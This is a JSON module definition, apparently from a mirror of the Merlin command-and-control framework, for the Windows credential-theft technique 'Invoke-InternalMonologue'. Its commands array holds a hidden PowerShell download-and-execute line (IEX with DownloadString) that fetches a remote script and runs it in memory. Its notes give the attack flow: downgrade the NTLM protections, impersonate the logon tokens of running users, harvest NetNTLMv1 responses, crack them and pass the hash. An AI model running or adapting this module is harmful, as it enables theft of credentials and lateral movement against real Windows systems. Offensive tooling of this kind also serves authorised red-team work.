mirror of
https://github.com/Ne0nd0g/merlin
synced 2026-06-08 11:59:20 +00:00
Ne0nd0g
31 lines
1.8 KiB
JSON
31 lines
1.8 KiB
JSON
{
|
|
"base": {
|
|
"name": "Invoke-InternalMonologue",
|
|
"type": "standard",
|
|
"author": ["Russel Van Tuyl (@Ne0nd0g)"],
|
|
"credits": ["Elad Shamir"],
|
|
"path": ["windows", "x64", "powershell", "credentials", "Invoke-InternalMonologue"],
|
|
"platform": "windows",
|
|
"arch": "x64",
|
|
"lang": "powershell",
|
|
"privilege": false,
|
|
"remote": "https://raw.githubusercontent.com/eladshamir/Internal-Monologue/master/Invoke-InternalMonologue.ps1",
|
|
"local": ["data", "src", "eladshamir", "Internal-Monologue", "Invoke-InternalMonologue.ps1"],
|
|
"options": [],
|
|
"description": "Retrieves NTLMv1 challenge-response for all available users. Downgrades to NTLMv1, impersonates all available users and retrieves a challenge-response for each.",
|
|
"notes": "The Internal Monologue Attack flow is described below:\r\n\t1. Disable NetNTLMv1 preventive controls by changing LMCompatibilityLevel, NTLMMinClientSec and RestrictSendingNTLMTraffic to appropriate values, as described above.\r\n\t2. Retrieve all non-network logon tokens from currently running processes and impersonate the associated users.\r\n\t3. For each impersonated user, interact with NTLM SSP locally to elicit a NetNTLMv1 response to the chosen challenge in the security context of the impersonated user.\r\n\t4. Restore the original values of LMCompatibilityLevel, NTLMMinClientSec and RestrictSendingNTLMTraffic.\r\n\t5. Crack the NTLM hash of the captured responses using rainbow tables.\r\n\t6. Pass the Hash.",
|
|
"commands": [
|
|
"powershell.exe",
|
|
"-nop",
|
|
"-w 0",
|
|
"\"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/eladshamir/Internal-Monologue/master/Invoke-InternalMonologue.ps1');",
|
|
"Invoke-InternalMonologue",
|
|
"\""
|
|
]
|
|
},
|
|
"powershell": {
|
|
"disableav": false,
|
|
"obfuscate": false,
|
|
"base64": false
|
|
}
|
|
} |